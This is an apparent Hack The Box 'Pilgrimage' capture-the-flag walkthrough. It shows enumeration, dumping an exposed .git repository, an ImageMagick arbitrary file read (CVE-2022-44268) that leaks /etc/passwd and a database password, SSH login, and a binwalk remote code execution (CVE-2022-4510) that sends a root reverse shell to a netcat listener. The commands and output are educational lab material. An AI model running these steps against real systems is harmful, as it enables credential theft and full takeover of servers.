HTB: Pilgrimage¶
Enumerate¶
$ sudo nmap -n -Pn -sC -sV $t
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-19 15:33 CST
Nmap scan report for 10.10.11.219
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I add pilgrimage.htb
to /etc/hosts
and check the page:
http://pilgrimage.htb/login.php shows a login page.
http://pilgrimage.htb/register.php fails with various combinations of username/password.
Some interesting git
files exposed via fuff
$ ffuf -ic -w /home/e/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u http://pilgrimage.htb/FUZZ -mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://pilgrimage.htb/FUZZ
:: Wordlist : FUZZ: /home/e/wordlists/seclists/Discovery/Web-Content/quickhits.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
[Status: 200, Size: 92, Words: 9, Lines: 6, Duration: 115ms]
* FUZZ: .git/config
[Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 108ms]
* FUZZ: .git/HEAD
[Status: 200, Size: 195, Words: 13, Lines: 2, Duration: 90ms]
* FUZZ: .git/logs/HEAD
[Status: 200, Size: 3768, Words: 22, Lines: 16, Duration: 100ms]
* FUZZ: .git/index
[Status: 200, Size: 6166, Words: 1648, Lines: 172, Duration: 110ms]
* FUZZ: login.php
[Status: 200, Size: 6173, Words: 1646, Lines: 172, Duration: 95ms]
* FUZZ: register.php
:: Progress: [2565/2565] :: Job [1/1] :: 355 req/sec :: Duration: [0:00:07] :: Errors: 0 ::
$ curl http://pilgrimage.htb/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
$ curl http://pilgrimage.htb/.git/HEAD
ref: refs/heads/master
$ curl http://pilgrimage.htb/.git/logs/HEAD
0000000000000000000000000000000000000000 e1a40beebc7035212efdcb15476f9c994e3634a7 root <root@pilgrimage.htb> 1686132708 +1000 commit (initial): Pilgrimage image shrinking service initial commit.
$ curl http://pilgrimage.htb/.git/index -o foo
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3768 100 3768 0 0 18527 0 --:--:-- --:--:-- --:--:-- 18653
$ file foo
foo: Git index, version 2, 37 entries
And I guessed at this one:
$ curl http://pilgrimage.htb/.git/COMMIT_EDITMSG
Pilgrimage image shrinking service initial commit.
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
#
# Author: emily <emily@pilgrimage.htb>
#
# On branch master
#
# Initial commit
#
# Changes to be committed:
# new file: assets/bulletproof.php
# new file: assets/css/animate.css
# new file: assets/css/custom.css
# new file: assets/css/flex-slider.css
# new file: assets/css/fontawesome.css
# new file: assets/css/owl.css
# new file: assets/css/templatemo-woox-travel.css
# new file: assets/images/banner-04.jpg
# new file: assets/images/cta-bg.jpg
# new file: assets/js/custom.js
# new file: assets/js/isotope.js
# new file: assets/js/isotope.min.js
# new file: assets/js/owl-carousel.js
# new file: assets/js/popup.js
# new file: assets/js/tabs.js
# new file: assets/webfonts/fa-brands-400.ttf
# new file: assets/webfonts/fa-brands-400.woff2
# new file: assets/webfonts/fa-regular-400.ttf
# new file: assets/webfonts/fa-regular-400.woff2
# new file: assets/webfonts/fa-solid-900.ttf
# new file: assets/webfonts/fa-solid-900.woff2
# new file: assets/webfonts/fa-v4compatibility.ttf
# new file: assets/webfonts/fa-v4compatibility.woff2
# new file: dashboard.php
# new file: index.php
# new file: login.php
# new file: logout.php
# new file: magick
# new file: register.php
# new file: vendor/bootstrap/css/bootstrap.min.css
# new file: vendor/bootstrap/js/bootstrap.min.js
# new file: vendor/jquery/jquery.js
# new file: vendor/jquery/jquery.min.js
# new file: vendor/jquery/jquery.min.map
# new file: vendor/jquery/jquery.slim.js
# new file: vendor/jquery/jquery.slim.min.js
# new file: vendor/jquery/jquery.slim.min.map
#
The username emily
(via the git
commit message above) might be fruitful for brute-forcing login.
Downloaded <http://pilgrimage.htb/magick>
:
$ file magick
magick: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9fdbc145689e0fb79cb7291203431012ae8e1911, stripped
$ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
A more complete view of the exposed Git repository is available by using git-dumper
:
$ git-dumper http://pilgrimage.htb/.git/ git
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://pilgrimage.htb/.gitignore [404]
[-] http://pilgrimage.htb/.gitignore responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://pilgrimage.htb/.git/description [200]
[...]
[-] Running git checkout .
$ ls -ld git
drwxr-x--- 5 e e 4096 Nov 20 14:48 git
$ ls git
assets dashboard.php index.php login.php logout.php magick register.php vendor
$ cat git/login.php
<?php
session_start();
if(isset($_SESSION['user'])) {
header("Location: /dashboard.php");
exit(0);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
$db = new PDO('sqlite:/var/db/pilgrimage');
$stmt = $db->prepare("SELECT * FROM users WHERE username = ? and password = ?");
$stmt->execute(array($username,$password));
[...]
From that I see a password is stored in /var/db/pilgrimage
.
Exploit¶
There's an LFI exploit for this version of ImageMagick: https://github.com/voidz0r/CVE-2022-44268
Create the test payload:
$ convert ~/655bbd2283d4a.png -resize 50% output.png
I upload output.png
to the vulnerable service, and download the new file, 655bbd2283d4a.png
. To read the response, I have to use an ImageMagick command called identify
, which includes the output. I can pipe it directly to python3
to decode the hexadecimal encoding like this:
$ python3 -c "print(bytes.fromhex(\"$(identify -verbose output.png |grep '^[a-f0-9]'|xargs | sed 's/ //g')\"))"
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:109::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nemily:x:1000:1000:emily,,,:/home/emily:/bin/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n_laurel:x:998:998::/var/log/laurel:/bin/false\n'
I'll try to view the database with the password:
$ rm -f *png; cargo run '/var/db/pilgrimage'
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target/debug/cve-2022-44268 /var/db/pilgrimage`
$ python3 -c "print(bytes.fromhex(\"$(identify -verbose output.png |grep '^[a-f0-9]'|xargs | sed 's/ //g')\"))"
b'SQLite format 3\x00\x10\x00\x01\x01\x00@ \x00\x00\x00?\x00\x00\x00\x05\x00\x00\x[...]
I could recreate the binary version of the db and view it via sqlite3
, but this string stands out and saves some steps:
[...]0\x18\x01\x03\x17-emilyabigchonkyboi123\n\x00\x00\x00\x01\x0f\xf7\x00\x0f\xf7\x00\x00\x00\x00[...]
I try that password for ssh
login:
$ ssh emily@$t
The authenticity of host '10.10.11.219 (10.10.11.219)' can't be established.
ED25519 key fingerprint is SHA256:uaiHXGDnyKgs1xFxqBduddalajktO+mnpNkqx/HjsBw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.219' (ED25519) to the list of known hosts.
emily@10.10.11.219's password:
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
emily@pilgrimage:~$ cat user.txt
7a3e01[...]
Escalate¶
As user emily
I can see an interesting process in the ps fauxww
listing:
root 724 0.0 0.0 6816 3096 ? Ss 06:51 0:00 /bin/bash /usr/sbin/malwarescan.sh
malwarescan.sh
:
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
binwalk
is itself vulnerable. I save the exploit and prepare the payload:
$ python ./x.py ./surfperson.png 10.10.16.5 443
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
$ mv bin
bin/ binwalk_exploit.png
$ mv binwalk_exploit.png x.png
$ scp x.png emily@${t}:
emily@10.10.11.219's password:
x.png
I start a nc
listener, and copy the payload on the target to the right destination:
emily@pilgrimage:~$ cp x.png /var/www/pilgrimage.htb/shrunk/
$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.219] 46484
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
0e9969[...]
Summary¶
Target runs a web service to resize images. It uses an ImageMagick binary on the backend which has an LFI vulnerability, https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC. This paired with the git
repo being exposed at the web root (http://$t/.git
) we can analyze login.php
to find the name of the sqlite
database, and use the LFI to retrieve a user password for user emily
.
With user access, we can see a malware-scanning cron job that runs to analyze file uploads from the webservice. The scanner uses binwalk
which itself has an exploit: https://www.exploit-db.com/exploits/51249. Using that exploit we can spawn a reverse shell as the root
user.